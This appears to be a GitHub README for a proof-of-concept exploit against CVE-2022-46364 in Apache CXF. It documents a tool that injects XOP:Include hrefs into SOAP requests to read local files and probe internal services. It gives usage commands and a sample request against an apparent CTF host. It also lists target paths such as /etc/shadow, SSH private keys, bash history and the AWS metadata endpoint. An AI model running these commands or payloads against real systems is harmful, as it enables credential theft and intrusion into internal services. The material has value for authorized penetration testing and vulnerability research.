0xmid00/cve-2022-46364-pocCVE-2022-46364 Apache CXF XOP:Include SSRF / LFI
Author: 0xmid00
Vulnerability: SSRF / Local File Read via XOP:Include in MTOM requests
Affected: Apache CXF < 3.5.5 and < 3.4.10
Apache CXF processes MTOM (Message Transmission Optimization Mechanism) messages
that contain XOP:Include elements. The href attribute of XOP:Include is
supposed to reference an attachment within the same MTOM multipart message.
However, in vulnerable versions, CXF will follow any URI supplied in href,
including:
file:///etc/passwd → reads local files (LFI)http://127.0.0.1:PORT/ → probes internal services (SSRF)An attacker only needs to send a SOAP request with at least one parameter of any type to trigger this.
pip install requests
python3 exploit.py -r request.txt [options]
| Argument | Description |
|---|---|
-r, --request | Path to raw HTTP request file (required) |
--mode 1 | Auto-detect injectable XML fields using /etc/passwd |
--mode 2 | Fuzz a wordlist of file paths |
--field NAME | Specify the XML field to inject (skips auto-detection) |
--wordlist PATH | Path to file wordlist for Mode 2 |
--read PATH | Read a single specific file |
-v, --verbose | Show detailed request info |
Save your raw HTTP request to a .txt file exactly as captured (e.g. from Burp):
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>test</content>
<department>IT</department>
<employeeName>john</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
The exploit automatically converts it to MTOM format — you don't need to do that manually.
python3 exploit.py -r request.txt --mode 1
Tries injecting file:///etc/passwd into every leaf XML element and reports
which ones return file content.
python3 exploit.py -r request.txt --mode 1 --field content
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
First runs Mode 1 to find the injectable field, then fuzzes all paths in the wordlist through that field.
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
Skips field detection and goes straight to fuzzing.
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog
You can also use SecLists:
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
<xop:Include href="file:///..."/>To probe internal HTTP services instead of reading files:
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
Or edit the --read value with any internal URL:
--read http://169.254.169.254/latest/meta-data/ (AWS metadata)
--read http://127.0.0.1:3306/ (MySQL)
--read http://127.0.0.1:22/ (SSH banner)
This tool is for authorized penetration testing and CTF challenges only. The author is not responsible for any misuse.